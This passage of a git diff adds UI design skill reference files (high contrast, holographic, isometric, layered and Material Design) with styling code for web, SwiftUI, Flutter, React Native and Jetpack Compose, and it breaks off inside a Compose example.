fontFamily: 'Atkinson-Regular', fontSize: 18, color: '#000000' }}> + Content is king. Borders are stark. Contrast ratios exceed 7:1. + </Text> + </View> + + {/* High Contrast Button */} + <TouchableOpacity style={{ + backgroundColor: '#0000FF', + paddingVertical: 16, + paddingHorizontal: 32, + borderRadius: 4, + alignItems: 'center' + }}> + <Text style={{ fontFamily: 'Atkinson-Bold', fontSize: 18, color: '#FFFFFF', fontWeight: '900' }}> + CONFIRM ACTION + </Text> + </TouchableOpacity> + + </View> + ); +}; +``` +- In React Native, accessibility relies heavily on high contrast. Ensure `borderWidth: 3` and explicit pure `#000000` text colors. +- Make sure to use accessible `<TouchableOpacity>` areas (minimum 48x48 padding for hit slop). + +### Jetpack Compose +```kotlin +@Composable +fun HighContrastScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .padding(24.dp), + verticalArrangement = Arrangement.Center + ) { + // High Contrast Card + Box( + modifier = Modifier + .fillMaxWidth() + .background(Color.White, RoundedCornerShape(8.dp)) + .border(3.dp, Color.Black, RoundedCornerShape(8.dp)) + .padding(32.dp) + ) { + Column { + Text( + text = "Maximum Legibility", + fontSize = 24.sp, + fontWeight = FontWeight.Bold, + color = Color.Black + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Content is king. Borders are stark. Contrast ratios exceed 7:1.", + fontSize = 18.sp, + color = Color.Black + ) + } + } + + Spacer(Modifier.height(32.dp)) + + // High Contrast Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors( + containerColor = Color(0xFF0000FF), + contentColor = Color.White + ), + shape = RoundedCornerShape(4.dp), + elevation = null, // Disable shadows for stark look + modifier = Modifier.fillMaxWidth().height(56.dp) + ) { + Text("CONFIRM ACTION", fontSize = 18.sp, fontWeight = FontWeight.Black) + } + } +} +``` +- Use `Modifier.border(3.dp, Color.Black)` around containers. +- Disable button elevations (`elevation = null`) to keep the design perfectly flat and sharp. + +## Do's and Don'ts +- **DO**: Run your colors through a contrast checker. If it's below 7:1, adjust it. +- **DON'T**: Rely on color alone to convey meaning (e.g., don't just make an error state red; make it red AND add an error icon AND bold the text). + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/holographic-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/holographic-ui/SKILL.md new file mode 100644 index 00000000..f01da6e5 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/holographic-ui/SKILL.md @@ -0,0 +1,310 @@ +--- +name: holographic-ui +description: Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Holographic UI + +> "Made of light. Interfaces projected into thin air, visible but completely translucent." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Zero Opacity Backgrounds**: Elements are never fully solid. Everything is semi-transparent, allowing the background to show through. +2. **Scanlines and Interference**: The illusion of a projection is sold by horizontal scanlines, slight chromatic aberration, or flickering. +3. **Luminous Edges**: The borders of elements are brighter than the centers, mimicking how lasers or light projections focus at the edges. + +## Visual DNA +- **Colors**: Almost exclusively monochrome Cyan, Blue, or Green, with white core highlights. +- **Typography**: Thin, technical sans-serifs. Must have a glowing `text-shadow`. +- **Styling**: Intensive use of `rgba()`, `mix-blend-mode: screen` or `add`, and CSS filters. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #020202; /* Must be dark for holograms to show */ + background-image: url('dark-lab-background.jpg'); + background-size: cover; + color: #88ffff; +} + +.hologram-panel { + background: rgba(0, 200, 255, 0.05); /* Extremely sheer */ + border: 1px solid rgba(136, 255, 255, 0.5); + border-radius: 4px; + padding: 30px; + + /* The glowing edge */ + box-shadow: + inset 0 0 20px rgba(0, 200, 255, 0.2), + 0 0 15px rgba(0, 200, 255, 0.3); + + /* Scanline effect */ + background-image: linear-gradient( + rgba(136, 255, 255, 0.1) 1px, + transparent 1px + ); + background-size: 100% 4px; +} + +.holo-text { + font-family: 'Rajdhani', sans-serif; + text-transform: uppercase; + text-shadow: 0 0 8px rgba(136, 255, 255, 0.8); + mix-blend-mode: screen; +} + +/* Subtle flicker */ +.holo-flicker { + animation: hologramFlicker 4s infinite; +} + +@keyframes hologramFlicker { + 0%, 100% { opacity: 1; } + 92% { opacity: 1; } + 93% { opacity: 0.4; } + 94% { opacity: 0.9; } + 96% { opacity: 0.2; } + 98% { opacity: 1; } +} +``` + +## App Implementation + +### SwiftUI +```swift +struct HolographicUIView: View { + @State private var isFlickering = false + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack { + Text("HOLOGRAM ACTIVE") + .font(.custom("Courier", size: 24)) + .foregroundColor(Color(hex: "88FFFF")) + .shadow(color: Color(hex: "88FFFF"), radius: 10) + .blendMode(.screen) // Critical for light UI + + Spacer().frame(height: 40) + + VStack { + Text("SYSTEM DIAGNOSTICS") + .foregroundColor(Color(hex: "88FFFF")) + } + .padding(30) + .frame(maxWidth: .infinity) + .background(Color(hex: "88FFFF").opacity(0.05)) + .border(Color(hex: "88FFFF").opacity(0.5), width: 1) + // The glowing edge effect + .shadow(color: Color(hex: "88FFFF").opacity(0.5), radius: 15) + .blendMode(.screen) + .opacity(isFlickering ? 0.4 : 1.0) + } + .padding() + + // Scanline Overlay + LinearGradient( + stops: [ + .init(color: Color(hex: "88FFFF").opacity(0.1), location: 0), + .init(color: .clear, location: 0.5) + ], + startPoint: .top, endPoint: .bottom + ) + .frame(height: 4) + .background(Color.clear) + // You would tile this in a real app using an Image or custom shape + .blendMode(.screen) + } + .onAppear { + // Simulate flicker + Timer.scheduledTimer(withTimeInterval: 0.1, repeats: true) { _ in + if Int.random(in: 1...100) > 95 { + isFlickering.toggle() + DispatchQueue.main.asyncAfter(deadline: .now() + 0.1) { + isFlickering = false + } + } + } + } + } +} +``` +- `.blendMode(.screen)` is absolutely critical. It makes elements act like projected light. +- Stack multiple `.shadow()` modifiers to create a bloom effect around text and borders. + +### Flutter +```dart +class HolographicScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, // Dark lab background + body: Stack( + children: [ + Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Glowing Text + const Text( + 'HOLOGRAM ACTIVE', + style: TextStyle( + fontFamily: 'Courier', + fontSize: 24, + color: Color(0xFF88FFFF), + shadows: [Shadow(color: Color(0xFF88FFFF), blurRadius: 10)], + ), + ), + const SizedBox(height: 40), + + // Hologram Panel + Container( + width: double.infinity, + padding: const EdgeInsets.all(30), + decoration: BoxDecoration( + color: const Color(0xFF88FFFF).withOpacity(0.05), + border: Border.all(color: const Color(0xFF88FFFF).withOpacity(0.5)), + boxShadow: [ + BoxShadow(color: const Color(0xFF88FFFF).withOpacity(0.2), blurRadius: 15, spreadRadius: 5), + ], + ), + child: const Text( + 'SYSTEM DIAGNOSTICS', + textAlign: TextAlign.center, + style: TextStyle(color: Color(0xFF88FFFF)), + ), + ), + ], + ), + ), + // Scanlines (IgnorePointer so it doesn't block taps) + IgnorePointer( + child: ShaderMask( + blendMode: BlendMode.screen, // Makes it act like light + shaderCallback: (bounds) => const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + stops: [0.0, 0.5, 0.5, 1.0], + colors: [Colors.black12, Colors.black12, Colors.transparent, Colors.transparent], + ).createShader(bounds), + // To actually tile in Flutter, you often need a CustomPainter. + // Here we simulate the blend mode. + child: Container(color: const Color(0xFF88FFFF).withOpacity(0.1)), + ), + ), + ], + ), + ); + } +} +``` +- The `Shadow` array inside `TextStyle` creates the glowing text. +- `BoxShadow` with `spreadRadius` creates the glowing panel border. +- `ShaderMask` with `BlendMode.screen` layered over the UI gives it that light-projection quality. + +### React Native +```jsx +const HolographicScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#020202', padding: 24, justifyContent: 'center' }}> + + <Text style={{ + fontFamily: 'monospace', fontSize: 24, textAlign: 'center', color: '#88FFFF', + textShadowColor: '#88FFFF', textShadowRadius: 10, marginBottom: 40 + }}> + HOLOGRAM ACTIVE + </Text> + + <View style={{ + backgroundColor: 'rgba(0, 200, 255, 0.05)', + borderWidth: 1, borderColor: 'rgba(136, 255, 255, 0.5)', + padding: 30, borderRadius: 4, + // The glowing edge + shadowColor: '#88FFFF', shadowOffset: { width: 0, height: 0 }, + shadowOpacity: 0.5, shadowRadius: 15, elevation: 10 + }}> + <Text style={{ color: '#88FFFF', textAlign: 'center', fontFamily: 'monospace' }}> + SYSTEM DIAGNOSTICS + </Text> + </View> + + {/* Pseudo-scanlines overlay. In a real app, use an repeating Image background. */} + <View pointerEvents="none" style={{ + position: 'absolute', top: 0, left: 0, right: 0, bottom: 0, + backgroundColor: 'rgba(136, 255, 255, 0.03)', + }} /> + + </View> + ); +}; +``` +- React Native doesn't support `mix-blend-mode` out of the box, so you must rely heavily on low-opacity backgrounds and intense `textShadow` / `shadowRadius`. +- Use `pointerEvents="none"` on scanline overlays so they don't block user interactions. + +### Jetpack Compose +```kotlin +@Composable +fun HolographicScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFF020202))) { + Column( + modifier = Modifier.fillMaxSize().padding(24.dp), + verticalArrangement = Arrangement.Center, + horizontalAlignment = Alignment.CenterHorizontally + ) { + // Glowing Text + Text( + text = "HOLOGRAM ACTIVE", + fontFamily = FontFamily.Monospace, + fontSize = 24.sp, + color = Color(0xFF88FFFF), + style = TextStyle( + shadow = Shadow(color = Color(0xFF88FFFF), blurRadius = 10f) + ), + modifier = Modifier.graphicsLayer { blendMode = BlendMode.Screen } + ) + + Spacer(Modifier.height(40.dp)) + + // Glowing Panel + Box( + modifier = Modifier + .fillMaxWidth() + .graphicsLayer { blendMode = BlendMode.Screen } + .shadow(15.dp, ambientColor = Color(0xFF88FFFF), spotColor = Color(0xFF88FFFF)) + .background(Color(0xFF88FFFF).copy(alpha = 0.05f)) + .border(1.dp, Color(0xFF88FFFF).copy(alpha = 0.5f)) + .padding(30.dp), + contentAlignment = Alignment.Center + ) { + Text("SYSTEM DIAGNOSTICS", color = Color(0xFF88FFFF), fontFamily = FontFamily.Monospace) + } + } + + // Simulating scanlines overlay + Box( + modifier = Modifier + .fillMaxSize() + .background(Color(0xFF88FFFF).copy(alpha = 0.03f)) + ) + } +} +``` +- `Modifier.graphicsLayer { blendMode = BlendMode.Screen }` is exactly what you need in Compose to make elements act like projected light. +- Use Compose's `shadow` modifier with `ambientColor` and `spotColor` set to cyan to make the panels emit light. + +## Do's and Don'ts +- **DO**: Use `mix-blend-mode: screen` (web) or additive blending so overlapping holographic panels get brighter where they intersect. +- **DON'T**: Use any dark colors or drop shadows for the UI elements. Shadows don't exist in light projections. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/isometric-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/isometric-design/SKILL.md new file mode 100644 index 00000000..ff203cac --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/isometric-design/SKILL.md @@ -0,0 +1,228 @@ +--- +name: isometric-design +description: Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Isometric Design + +> "The architect's view. A parallel projection where depth is constant and parallel lines never converge." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Parallel Lines**: Unlike true 3D, isometric projection has no vanishing point. Everything is viewed from an exact 30-degree angle. +2. **Top-Down, Angled View**: The classic "SimCity" perspective. +3. **Blocky Architecture**: UI elements often look like city blocks or stacked tiles. + +## Visual DNA +- **Colors**: **Warm Tech** or **Earth-Grounded Elegance**. Isometric designs often look like physical models, so slightly muted, realistic colors work well. +- **Typography**: Keep text flat to the screen, or map it perfectly to the isometric planes (top, left, right). +- **Shadows**: Hard, long drop shadows cast at an exact angle (usually -45 or 45 degrees). + +## Web Implementation +- CSS transforms are perfect for this. Combine `rotateX(60deg)` and `rotateZ(-45deg)`. +- **CSS Example**: +```css +.isometric-grid { + /* The foundation */ + transform-style: preserve-3d; + transform: rotateX(60deg) rotateZ(-45deg); +} + +.iso-block { + width: 100px; + height: 100px; + background-color: var(--secondary-base); + position: relative; + transition: transform 0.3s; +} + +/* Creating the 3D block with pseudo-elements */ +.iso-block::before { + content: ''; + position: absolute; + width: 20px; /* Depth */ + height: 100%; + background-color: var(--primary-text); /* Darker shade for side */ + right: 100%; + transform-origin: right; + transform: skewY(-45deg); +} + +.iso-block::after { + content: ''; + position: absolute; + width: 100%; + height: 20px; /* Depth */ + background-color: var(--cta-highlight); /* Lightest shade for top/bottom */ + top: 100%; + transform-origin: top; + transform: skewX(-45deg); +} + +.iso-block:hover { + transform: translateZ(20px) translate(-10px, -10px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct IsometricView: View { + var body: some View { + ZStack { + Color.white.ignoresSafeArea() + + // Isometric Stack + VStack(spacing: 0) { + // Top layer + Rectangle() + .fill(Color.blue) + .frame(width: 150, height: 150) + .overlay(Text("TOP").foregroundColor(.white)) + + // Shadow simulation + Rectangle() + .fill(Color.black.opacity(0.2)) + .frame(width: 150, height: 20) + } + // The exact 3D transformations for Isometric projection + .rotationEffect(.degrees(-45)) + .rotation3DEffect(.degrees(60), axis: (x: 1, y: 0, z: 0)) + } + } +} +``` +- SwiftUI's `.rotation3DEffect` makes this surprisingly easy. Rotate Z by -45 degrees first (via `.rotationEffect`), then rotate X by 60 degrees. +- You can stack multiple views along the Z-axis (or simulate it with Y offsets before the 3D rotation) to create towering isometric city blocks. + +### Flutter +```dart +import 'dart:math'; + +class IsometricScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: Center( + child: Transform( + // The Isometric Matrix Math + alignment: FractionalOffset.center, + transform: Matrix4.identity() + ..setEntry(3, 2, 0.001) // perspective + ..rotateX(pi / 3) // 60 degrees + ..rotateZ(-pi / 4), // -45 degrees + child: Container( + width: 150, + height: 150, + decoration: BoxDecoration( + color: Colors.blue, + boxShadow: [ + // Hard isometric drop shadow + BoxShadow( + color: Colors.black.withOpacity(0.3), + offset: const Offset(20, 20), + blurRadius: 0, // No blur for isometric + ), + ], + ), + child: const Center(child: Text('ISO BLOCK', style: TextStyle(color: Colors.white))), + ), + ), + ), + ); + } +} +``` +- `Transform` with `Matrix4` is required in Flutter. Applying `rotateX` and `rotateZ` yields the classic isometric grid. +- Isometric shadows are usually completely hard (0 `blurRadius`) and offset perfectly along the grid axes. + +### React Native +```jsx +const IsometricScreen = () => { + return ( + <View style={{ flex: 1, backgroundColor: '#FFF', justifyContent: 'center', alignItems: 'center' }}> + + <View style={{ + width: 150, + height: 150, + backgroundColor: '#2196F3', + justifyContent: 'center', + alignItems: 'center', + + // Isometric Transforms + transform: [ + { rotateX: '60deg' }, + { rotateZ: '-45deg' } + ], + + // Hard isometric shadow + shadowColor: '#000', + shadowOffset: { width: 20, height: 20 }, + shadowOpacity: 0.3, + shadowRadius: 0, // Hard edge + elevation: 10, + }}> + <Text style={{ color: '#FFF', fontWeight: 'bold' }}>ISO BLOCK</Text> + </View> + + </View> + ); +}; +``` +- The `transform` array processes in order. Apply `rotateX` then `rotateZ`. +- Hard shadows (`shadowRadius: 0`) sell the illustration look. + +### Jetpack Compose +```kotlin +@Composable +fun IsometricScreen() { + Box( + modifier = Modifier.fillMaxSize().background(Color.White), + contentAlignment = Alignment.Center + ) { + Box( + modifier = Modifier + .graphicsLayer { + // Isometric Transforms + rotationX = 60f + rotationZ = -45f + // Add subtle scale if it gets clipped + scaleX = 0.8f + scaleY = 0.8f + } + .size(150.dp) + // Draw a hard shadow behind the box + .drawBehind { + drawRect( + color = Color.Black.copy(alpha = 0.3f), + topLeft = Offset(40f, 40f), // Isometric offset + size = size + ) + } + .background(Color(0xFF2196F3)), + contentAlignment = Alignment.Center + ) { + Text("ISO BLOCK", color = Color.White, fontWeight = FontWeight.Bold) + } + } +} +``` +- Use `Modifier.graphicsLayer` to apply `rotationX` and `rotationZ`. +- To get a true hard isometric drop shadow in Compose without elevation blurring, use `Modifier.drawBehind` to manually draw a dark rectangle offset from the main content. + +## Do's and Don'ts +- **DO**: Use it for infographics, feature diagrams, or hero sections. +- **DON'T**: Build your entire app's functional UI in isometric projection. It's too hard to interact with. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/layered-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/layered-design/SKILL.md new file mode 100644 index 00000000..1e2cb84f --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/layered-design/SKILL.md @@ -0,0 +1,247 @@ +--- +name: layered-design +description: Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Layered Design + +> "Stacking context. Interfaces built from overlapping, independent layers." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Explicit Overlap**: Elements intentionally overlap each other to break the grid and show depth. +2. **Clear Stratification**: Every layer must be visually distinct via shadow, border, or contrasting color. +3. **Parallax Scrolling**: Background layers move slower than foreground layers during interaction/scrolling. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or **Sophisticated Neutral**. Layering works best when the background is distinct from the floating elements. +- **Typography**: Often large, overlapping text that spans across image and background layers. +- **Spacing**: Negative space is required around overlapping elements so they don't feel cluttered. + +## Web Implementation +- Heavy use of `position: absolute`, negative margins, and `z-index`. +- **CSS Example**: +```css +.layer-container { + position: relative; + padding: 100px; +} + +.layer-bg-image { + position: absolute; + top: 0; right: 0; + width: 60%; + height: 400px; + object-fit: cover; + z-index: 1; +} + +.layer-text-box { + position: relative; + z-index: 2; /* Sits above the image */ + background: white; + padding: 40px; + width: 50%; + margin-top: 200px; /* Pulls it down over the image */ + box-shadow: 0 20px 40px rgba(0,0,0,0.1); + /* Optional: border to define edge */ + border-left: 4px solid var(--cta-highlight); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct LayeredDesignView: View { + var body: some View { + ScrollView { + ZStack(alignment: .top) { + // Background Image Layer (Back) + Image("architectural-bg") + .resizable() + .aspectRatio(contentMode: .fill) + .frame(height: 400) + .offset(x: 40, y: 0) // Shifted right + .zIndex(1) + + // Content Card Layer (Front) + VStack(alignment: .leading, spacing: 16) { + Text("Stacking Context") + .font(.largeTitle).bold() + Text("This card intentionally overlaps the background image to create depth without relying on a grid.") + .foregroundColor(.secondary) + } + .padding(40) + .background(Color.white) + .shadow(color: Color.black.opacity(0.1), radius: 30, y: 20) + .offset(x: -40, y: 200) // Shifted left and pulled down + .zIndex(2) + } + .padding(.bottom, 200) // Account for the offset + } + } +} +``` +- `ZStack` is the foundation of layered design in SwiftUI. +- Use `.offset()` to intentionally break the alignment and create overlapping compositions. +- Explicitly set `.zIndex()` if your offsets might cause unexpected paint orders. + +### Flutter +```dart +class LayeredDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: SingleChildScrollView( + child: SizedBox( + height: 600, // Fixed height stack or use constraints + child: Stack( + children: [ + // Background Image Layer + Positioned( + top: 0, + right: -40, // Shifted offscreen right + width: MediaQuery.of(context).size.width * 0.8, + height: 400, + child: Image.asset('assets/architectural-bg.jpg', fit: BoxFit.cover), + ), + + // Content Card Layer + Positioned( + top: 250, // Overlaps the bottom of the image + left: 20, // Overlaps the left of the image + width: MediaQuery.of(context).size.width * 0.7, + child: Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white, + boxShadow: [ + BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 30, offset: const Offset(0, 20)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: const [ + Text('Stacking Context', style: TextStyle(fontSize: 32, fontWeight: FontWeight.bold)), + SizedBox(height: 16), + Text('This card intentionally overlaps the background image.', style: TextStyle(color: Colors.grey)), + ], + ), + ), + ), + ], + ), + ), + ), + ); + } +} +``` +- The `Stack` widget with `Positioned` children is required. +- You can use negative values in `Positioned` (e.g., `right: -40`) to bleed layers off the edge of the screen, which is a common trope in layered design. + +### React Native +```jsx +const LayeredDesignScreen = () => { + return ( + <ScrollView style={{ flex: 1, backgroundColor: '#F8F8F8' }}> + <View style={{ height: 600 }}> + + {/* Background Image Layer */} + <Image + source={{ uri: 'https://example.com/architectural-bg.jpg' }} + style={{ + position: 'absolute', + top: 0, + right: -40, + width: '80%', + height: 400, + zIndex: 1, + }} + /> + + {/* Content Card Layer */} + <View style={{ + position: 'absolute', + top: 250, + left: 20, + width: '70%', + backgroundColor: '#FFF', + padding: 40, + zIndex: 2, + // Deep shadow to separate the layers + shadowColor: '#000', shadowOffset: { width: 0, height: 20 }, + shadowOpacity: 0.1, shadowRadius: 30, elevation: 15, + }}> + <Text style={{ fontSize: 32, fontWeight: 'bold', marginBottom: 16 }}>Stacking Context</Text> + <Text style={{ color: '#666' }}>This card intentionally overlaps the background image.</Text> + </View> + + </View> + </ScrollView> + ); +}; +``` +- Heavy use of `position: 'absolute'` inside a relative container. +- Manage `zIndex` explicitly. Note that on Android, `elevation` also controls Z-indexing, so the card must have a higher `elevation` than the image. + +### Jetpack Compose +```kotlin +@Composable +fun LayeredDesignScreen() { + Column(modifier = Modifier.verticalScroll(rememberScrollState())) { + Box(modifier = Modifier.height(600.dp).fillMaxWidth()) { + + // Background Image Layer + Image( + painter = painterResource(id = R.drawable.architectural_bg), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier + .align(Alignment.TopEnd) + .offset(x = 40.dp) // Bleed off right edge + .width(300.dp) + .height(400.dp) + .zIndex(1f) + ) + + // Content Card Layer + Box( + modifier = Modifier + .align(Alignment.TopStart) + .offset(x = 20.dp, y = 250.dp) // Overlap the image + .width(280.dp) + .zIndex(2f) + .shadow(30.dp) + .background(Color.White) + .padding(40.dp) + ) { + Column { + Text("Stacking Context", fontSize = 32.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(16.dp)) + Text("This card intentionally overlaps the background image.", color = Color.Gray) + } + } + } + } +} +``` +- `Box` acts as your stack. +- Use `Modifier.align()` to set the baseline position, then `Modifier.offset()` to push it out of grid alignment. +- `Modifier.zIndex()` ensures the content card always renders on top of the image. + +## Do's and Don'ts +- **DO**: Use contrasting colors or drop shadows where layers intersect so the boundary is clear. +- **DON'T**: Trap interactive elements (like buttons) underneath other layers where they cannot be clicked. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/material-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/material-design/SKILL.md new file mode 100644 index 00000000..c31ead1a --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/material-design/SKILL.md @@ -0,0 +1,275 @@ +--- +name: material-design +description: Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Material Design + +> "Digital paper and ink. Interfaces built on the physical properties of stacked material." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Z-Axis Elevation**: Everything exists on a specific layer. Shadows communicate hierarchy and state. +2. **Meaningful Motion**: Animations are continuous, guiding the user's focus from one state to the next (e.g., ripple effects, shared element transitions). +3. **Structured Layout**: Strict adherence to an 8dp baseline grid and specific component anatomies (cards, FABs, app bars). + +## Visual DNA +- **Colors**: Works excellently with **Desert Mirage** or **Minimalist Slate**. Utilize primary, secondary, surface, and error semantic mapping. +- **Typography**: `Roboto` or `Google Sans` (or equivalent clean geometric sans). Stick strictly to the Material Type Scale (H1-H6, Subtitle, Body, Caption, Overline). +- **Shapes**: Moderately rounded corners (4px to 16px). + +## Web Implementation +- Do not reinvent the wheel: mimic standard Material elevations. +- **CSS Example**: +```css +.material-card { + background: var(--bg-surface); + border-radius: 8px; + padding: 16px; + /* Material Elevation 2 */ + box-shadow: 0 3px 1px -2px rgba(0,0,0,0.2), + 0 2px 2px 0 rgba(0,0,0,0.14), + 0 1px 5px 0 rgba(0,0,0,0.12); + transition: box-shadow 0.28s cubic-bezier(0.4, 0, 0.2, 1); +} + +.material-btn { + text-transform: uppercase; + font-weight: 500; + letter-spacing: 1.25px; + padding: 0 16px; + height: 36px; + border-radius: 4px; + background: var(--cta-highlight); + color: #fff; + border: none; + /* Ripple effect is usually handled via JS, but structure is key */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MaterialCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 12) { + Text("Material Card") + .font(.system(size: 20, weight: .medium)) + Text("Digital paper and ink. Shadows communicate where this surface sits.") + .font(.system(size: 14)) + .foregroundColor(.secondary) + HStack { + Spacer() + Button("ACTION") {} + .font(.system(size: 14, weight: .medium)) + .foregroundColor(.accentColor) + .padding(.horizontal, 12) + .padding(.vertical, 8) + } + } + .padding(16) + .background(Color(.systemBackground)) + .cornerRadius(8) + // Material Elevation 2 equivalent + .shadow(color: Color.black.opacity(0.12), radius: 3, x: 0, y: 1) + .shadow(color: Color.black.opacity(0.08), radius: 2, x: 0, y: 2) + } +} + +// Material FAB +struct MaterialFAB: View { + var body: some View { + Button(action: {}) { + Image(systemName: "plus") + .font(.system(size: 24)) + .foregroundColor(.white) + .frame(width: 56, height: 56) + .background(Color.accentColor) + .cornerRadius(16) + .shadow(color: Color.black.opacity(0.2), radius: 6, x: 0, y: 3) + .shadow(color: Color.black.opacity(0.14), radius: 4, x: 0, y: 2) + } + } +} +``` +- Emulate Material elevation levels by stacking multiple `.shadow()` modifiers at different blur/offset values. +- Use `.cornerRadius(8...16)` — Material Design 3 uses more rounded shapes than M2. +- Animate shadow changes using `.animation(.easeInOut(duration: 0.28))` — Material uses 280ms transitions. + +### Flutter +```dart +// Flutter IS Material Design — use it natively +class MaterialScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return MaterialApp( + theme: ThemeData( + useMaterial3: true, + colorSchemeSeed: const Color(0xFF6750A4), // Material You seed + // Map your universal palette here + ), + home: Scaffold( + appBar: AppBar( + title: const Text('Material Design'), + // M3 appbar elevation is 0 by default, scrolled = 3 + ), + body: Padding( + padding: const EdgeInsets.all(16), + child: Card( + elevation: 2, + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)), + child: Padding( + padding: const EdgeInsets.all(16), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: [ + Text('Material Card', + style: Theme.of(context).textTheme.titleLarge), + const SizedBox(height: 8), + Text('Digital paper and ink.', + style: Theme.of(context).textTheme.bodyMedium), + const SizedBox(height: 16), + Align( + alignment: Alignment.centerRight, + child: TextButton( + onPressed: () {}, + child: const Text('ACTION'), + ), + ), + ], + ), + ), + ), + ), + floatingActionButton: FloatingActionButton( + onPressed: () {}, + child: const Icon(Icons.add), + // M3 FAB automatically gets correct elevation & shape + ), + ), + ); + } +} +``` +- **Flutter is the native home of Material Design.** Use `MaterialApp`, `ThemeData(useMaterial3: true)`, and standard widgets. +- Map the universal palette via `colorSchemeSeed` or manually build a `ColorScheme`. +- Use the Material type scale via `Theme.of(context).textTheme`. +- Ripple effects come free with `InkWell` and `ElevatedButton`. + +### React Native +```jsx +import { Provider as PaperProvider, Card, Button, Title, Paragraph } from 'react-native-paper'; + +const materialTheme = { + ...DefaultTheme, + roundness: 8, + colors: { + ...DefaultTheme.colors, + primary: '#6750A4', // Material You purple + surface: '#FFFBFE', + background: '#FFFBFE', + }, +}; + +const MaterialScreen = () => ( + <PaperProvider theme={materialTheme}> + <ScrollView style={{ flex: 1, padding: 16 }}> + <Card style={{ marginBottom: 16 }} elevation={2}> + <Card.Content> + <Title>Material Card + Digital paper and ink. Shadows communicate hierarchy. + + + + + + + {/* Filled button — Material M3 style */} + + + +); +``` +- Use `react-native-paper` — it implements Material Design 3 natively for React Native. +- Configure the theme to map your universal palettes to Material semantic colors. +- Use `Card` (with `elevation` prop), `Button` (with `mode` prop), and `TextInput` for correct Material behavior. +- Ripple effects on Android come free via `Pressable`; on iOS, use `react-native-paper`'s `TouchableRipple`. + +### Jetpack Compose +```kotlin +// Jetpack Compose IS Material Design — use it natively +@Composable +fun MaterialScreen() { + MaterialTheme( + colorScheme = lightColorScheme( + primary = Color(0xFF6750A4), + onPrimary = Color.White, + surface = Color(0xFFFFFBFE), + ), + typography = Typography( + titleLarge = TextStyle(fontSize = 22.sp, fontWeight = FontWeight.Medium), + bodyMedium = TextStyle(fontSize = 14.sp, lineHeight = 20.sp), + ), + ) { + Scaffold( + topBar = { + TopAppBar(title = { Text("Material Design") }) + }, + floatingActionButton = { + FloatingActionButton(onClick = {}) { + Icon(Icons.Default.Add, contentDescription = "Add") + } + }, + ) { padding -> + Column(modifier = Modifier.padding(padding).padding(16.dp)) { + Card( + modifier = Modifier.fillMaxWidth(), + elevation = CardDefaults.cardElevation(defaultElevation = 2.dp), + shape = RoundedCornerShape(12.dp), + ) { + Column(modifier = 